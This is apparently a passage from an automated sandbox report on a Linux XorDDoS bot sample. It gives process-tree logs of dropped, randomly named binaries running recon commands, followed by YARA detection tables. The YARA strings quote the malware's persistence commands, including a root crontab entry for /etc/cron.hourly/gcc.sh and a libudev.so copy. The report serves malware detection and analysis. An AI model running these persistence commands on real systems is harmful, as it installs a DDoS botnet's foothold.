cbsypxwvhg (PID: 6519, Parent: 6518, MD5: ae6611a97543fac2cdd1c7b430747d8f) Arguments: /usr/bin/cbsypxwvhg "ls -la" 6225

cbsypxwvhg New Fork (PID: 6521, Parent: 6519)

Di1p3oLnDb.elf New Fork (PID: 6524, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6525, Parent: 6524)

qozdbjhhph (PID: 6525, Parent: 6524, MD5: cbc9a7550ba8cc0a16d56fd5fa5962bd) Arguments: /usr/bin/qozdbjhhph id 6225

qozdbjhhph New Fork (PID: 6526, Parent: 6525)

Di1p3oLnDb.elf New Fork (PID: 6527, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6528, Parent: 6527)

qozdbjhhph (PID: 6528, Parent: 6527, MD5: cbc9a7550ba8cc0a16d56fd5fa5962bd) Arguments: /usr/bin/qozdbjhhph ls 6225

qozdbjhhph New Fork (PID: 6530, Parent: 6528)

Di1p3oLnDb.elf New Fork (PID: 6529, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6531, Parent: 6529)

qozdbjhhph (PID: 6531, Parent: 6529, MD5: cbc9a7550ba8cc0a16d56fd5fa5962bd) Arguments: /usr/bin/qozdbjhhph "netstat -antop" 6225

qozdbjhhph New Fork (PID: 6534, Parent: 6531)

Di1p3oLnDb.elf New Fork (PID: 6532, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6533, Parent: 6532)

qozdbjhhph (PID: 6533, Parent: 6532, MD5: cbc9a7550ba8cc0a16d56fd5fa5962bd) Arguments: /usr/bin/qozdbjhhph sh 6225

qozdbjhhph New Fork (PID: 6535, Parent: 6533)

Di1p3oLnDb.elf New Fork (PID: 6536, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6537, Parent: 6536)

qozdbjhhph (PID: 6537, Parent: 6536, MD5: cbc9a7550ba8cc0a16d56fd5fa5962bd) Arguments: /usr/bin/qozdbjhhph "ls -la" 6225

qozdbjhhph New Fork (PID: 6538, Parent: 6537)

Di1p3oLnDb.elf New Fork (PID: 6542, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6543, Parent: 6542)

bcnljelvvj (PID: 6543, Parent: 6542, MD5: 09832f1b96069b9ed8a79c5ae07e8aa2) Arguments: /usr/bin/bcnljelvvj su 6225

bcnljelvvj New Fork (PID: 6544, Parent: 6543)

Di1p3oLnDb.elf New Fork (PID: 6547, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6548, Parent: 6547)

bcnljelvvj (PID: 6548, Parent: 6547, MD5: 09832f1b96069b9ed8a79c5ae07e8aa2) Arguments: /usr/bin/bcnljelvvj whoami 6225

bcnljelvvj New Fork (PID: 6549, Parent: 6548)

Di1p3oLnDb.elf New Fork (PID: 6550, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6551, Parent: 6550)

bcnljelvvj (PID: 6551, Parent: 6550, MD5: 09832f1b96069b9ed8a79c5ae07e8aa2) Arguments: /usr/bin/bcnljelvvj "cat resolv.conf" 6225

bcnljelvvj New Fork (PID: 6556, Parent: 6551)

Di1p3oLnDb.elf New Fork (PID: 6552, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6553, Parent: 6552)

bcnljelvvj (PID: 6553, Parent: 1860, MD5: 09832f1b96069b9ed8a79c5ae07e8aa2) Arguments: /usr/bin/bcnljelvvj "echo \"find\"" 6225

bcnljelvvj New Fork (PID: 6557, Parent: 6553)

Di1p3oLnDb.elf New Fork (PID: 6554, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6555, Parent: 6554)

bcnljelvvj (PID: 6555, Parent: 1860, MD5: 09832f1b96069b9ed8a79c5ae07e8aa2) Arguments: /usr/bin/bcnljelvvj su 6225

bcnljelvvj New Fork (PID: 6558, Parent: 6555)

Di1p3oLnDb.elf New Fork (PID: 6563, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6564, Parent: 6563)

txgakcdvth (PID: 6564, Parent: 6563, MD5: e9d82c564dc16961ee51fdbc643f03f9) Arguments: /usr/bin/txgakcdvth "netstat -an" 6225

txgakcdvth New Fork (PID: 6569, Parent: 6564)

Di1p3oLnDb.elf New Fork (PID: 6565, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6566, Parent: 6565)

txgakcdvth (PID: 6566, Parent: 1860, MD5: e9d82c564dc16961ee51fdbc643f03f9) Arguments: /usr/bin/txgakcdvth ifconfig 6225

txgakcdvth New Fork (PID: 6573, Parent: 6566)

Di1p3oLnDb.elf New Fork (PID: 6567, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6568, Parent: 6567)

txgakcdvth (PID: 6568, Parent: 1860, MD5: e9d82c564dc16961ee51fdbc643f03f9) Arguments: /usr/bin/txgakcdvth "netstat -an" 6225

txgakcdvth New Fork (PID: 6575, Parent: 6568)

Di1p3oLnDb.elf New Fork (PID: 6570, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6571, Parent: 6570)

txgakcdvth (PID: 6571, Parent: 6570, MD5: e9d82c564dc16961ee51fdbc643f03f9) Arguments: /usr/bin/txgakcdvth "ps -ef" 6225

txgakcdvth New Fork (PID: 6576, Parent: 6571)

Di1p3oLnDb.elf New Fork (PID: 6572, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6574, Parent: 6572)

txgakcdvth (PID: 6574, Parent: 1860, MD5: e9d82c564dc16961ee51fdbc643f03f9) Arguments: /usr/bin/txgakcdvth ifconfig 6225

txgakcdvth New Fork (PID: 6577, Parent: 6574)

Di1p3oLnDb.elf New Fork (PID: 6580, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6581, Parent: 6580)

kiykrkkimt (PID: 6581, Parent: 6580, MD5: 001b2d8ff6e0ddd4dd6c78aeca5375e7) Arguments: /usr/bin/kiykrkkimt "ifconfig eth0" 6225

kiykrkkimt New Fork (PID: 6586, Parent: 6581)

Di1p3oLnDb.elf New Fork (PID: 6582, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6583, Parent: 6582)

kiykrkkimt (PID: 6583, Parent: 1860, MD5: 001b2d8ff6e0ddd4dd6c78aeca5375e7) Arguments: /usr/bin/kiykrkkimt top 6225

kiykrkkimt New Fork (PID: 6589, Parent: 6583)

Di1p3oLnDb.elf New Fork (PID: 6584, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6585, Parent: 6584)

kiykrkkimt (PID: 6585, Parent: 6584, MD5: 001b2d8ff6e0ddd4dd6c78aeca5375e7) Arguments: /usr/bin/kiykrkkimt top 6225

kiykrkkimt New Fork (PID: 6591, Parent: 6585)

Di1p3oLnDb.elf New Fork (PID: 6587, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6588, Parent: 6587)

kiykrkkimt (PID: 6588, Parent: 1860, MD5: 001b2d8ff6e0ddd4dd6c78aeca5375e7) Arguments: /usr/bin/kiykrkkimt ifconfig 6225

kiykrkkimt New Fork (PID: 6593, Parent: 6588)

Di1p3oLnDb.elf New Fork (PID: 6590, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6592, Parent: 6590)

kiykrkkimt (PID: 6592, Parent: 1860, MD5: 001b2d8ff6e0ddd4dd6c78aeca5375e7) Arguments: /usr/bin/kiykrkkimt ls 6225

kiykrkkimt New Fork (PID: 6594, Parent: 6592)

Di1p3oLnDb.elf New Fork (PID: 6597, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6598, Parent: 6597)

siupwowznp (PID: 6598, Parent: 6597, MD5: 34e74d6766be7ba5c37e7750186592f1) Arguments: /usr/bin/siupwowznp su 6225

siupwowznp New Fork (PID: 6603, Parent: 6598)

Di1p3oLnDb.elf New Fork (PID: 6599, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6600, Parent: 6599)

siupwowznp (PID: 6600, Parent: 1860, MD5: 34e74d6766be7ba5c37e7750186592f1) Arguments: /usr/bin/siupwowznp "ps -ef" 6225

siupwowznp New Fork (PID: 6607, Parent: 6600)

Di1p3oLnDb.elf New Fork (PID: 6601, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6602, Parent: 6601)

siupwowznp (PID: 6602, Parent: 1860, MD5: 34e74d6766be7ba5c37e7750186592f1) Arguments: /usr/bin/siupwowznp "cd /etc" 6225

siupwowznp New Fork (PID: 6609, Parent: 6602)

Di1p3oLnDb.elf New Fork (PID: 6604, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6605, Parent: 6604)

siupwowznp (PID: 6605, Parent: 1860, MD5: 34e74d6766be7ba5c37e7750186592f1) Arguments: /usr/bin/siupwowznp whoami 6225

siupwowznp New Fork (PID: 6610, Parent: 6605)

Di1p3oLnDb.elf New Fork (PID: 6606, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6608, Parent: 6606)

siupwowznp (PID: 6608, Parent: 1860, MD5: 34e74d6766be7ba5c37e7750186592f1) Arguments: /usr/bin/siupwowznp gnome-terminal 6225

siupwowznp New Fork (PID: 6611, Parent: 6608)

Di1p3oLnDb.elf New Fork (PID: 6614, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6615, Parent: 6614)

urppslzpni (PID: 6615, Parent: 6614, MD5: b571204d591fa68cb55c7759de34143f) Arguments: /usr/bin/urppslzpni top 6225

urppslzpni New Fork (PID: 6620, Parent: 6615)

Di1p3oLnDb.elf New Fork (PID: 6616, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6617, Parent: 6616)

urppslzpni (PID: 6617, Parent: 1860, MD5: b571204d591fa68cb55c7759de34143f) Arguments: /usr/bin/urppslzpni su 6225

urppslzpni New Fork (PID: 6623, Parent: 6617)

Di1p3oLnDb.elf New Fork (PID: 6618, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6619, Parent: 6618)

urppslzpni (PID: 6619, Parent: 1860, MD5: b571204d591fa68cb55c7759de34143f) Arguments: /usr/bin/urppslzpni uptime 6225

urppslzpni New Fork (PID: 6626, Parent: 6619)

Di1p3oLnDb.elf New Fork (PID: 6621, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6622, Parent: 6621)

urppslzpni (PID: 6622, Parent: 1860, MD5: b571204d591fa68cb55c7759de34143f) Arguments: /usr/bin/urppslzpni whoami 6225

urppslzpni New Fork (PID: 6627, Parent: 6622)

Di1p3oLnDb.elf New Fork (PID: 6624, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6625, Parent: 6624)

urppslzpni (PID: 6625, Parent: 1860, MD5: b571204d591fa68cb55c7759de34143f) Arguments: /usr/bin/urppslzpni id 6225

urppslzpni New Fork (PID: 6628, Parent: 6625)

systemd New Fork (PID: 6237, Parent: 6236)

snapd-env-generator (PID: 6237, Parent: 6236, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Di1p3oLnDb.elf	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Di1p3oLnDb.elf	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Di1p3oLnDb.elf	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Di1p3oLnDb.elf	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1

Dropped Files

Source	Rule	Description	Author	Strings
/usr/bin/kihierzlde	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/kihierzlde	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/kihierzlde	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/kihierzlde	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/xmnjiktnas	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/xmnjiktnas	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/xmnjiktnas	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/xmnjiktnas	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/uvilsmwwhk	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/uvilsmwwhk	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/uvilsmwwhk	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/uvilsmwwhk	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/lib/libudev.so	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/lib/libudev.so	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/lib/libudev.so	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/lib/libudev.so	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/koygrrjkon	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/koygrrjkon	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/koygrrjkon	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/koygrrjkon	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/hszflciagy	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/hszflciagy	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/hszflciagy	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/hszflciagy	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/qhknhggmjf	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/qhknhggmjf	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/qhknhggmjf	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/qhknhggmjf	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/ilrbozcctp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/ilrbozcctp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/ilrbozcctp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/ilrbozcctp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/cbsypxwvhg	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/cbsypxwvhg	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/cbsypxwvhg	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/dvisuvnfsi	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/dvisuvnfsi	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/dvisuvnfsi	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/dvisuvnfsi	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/dwfhzeeizt	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/dwfhzeeizt	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/dwfhzeeizt	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/dwfhzeeizt	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/gwqnqvffue	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/gwqnqvffue	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/gwqnqvffue	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/gwqnqvffue	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/ltaanxttrs	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/ltaanxttrs	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/ltaanxttrs	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/ltaanxttrs	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/bvyxmkkmbp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/bvyxmkkmbp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/thgxtutpuw	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/thgxtutpuw	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/bvyxmkkmbp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/bvyxmkkmbp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/thgxtutpuw	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/thgxtutpuw	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
/usr/bin/zzdslzxygn	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
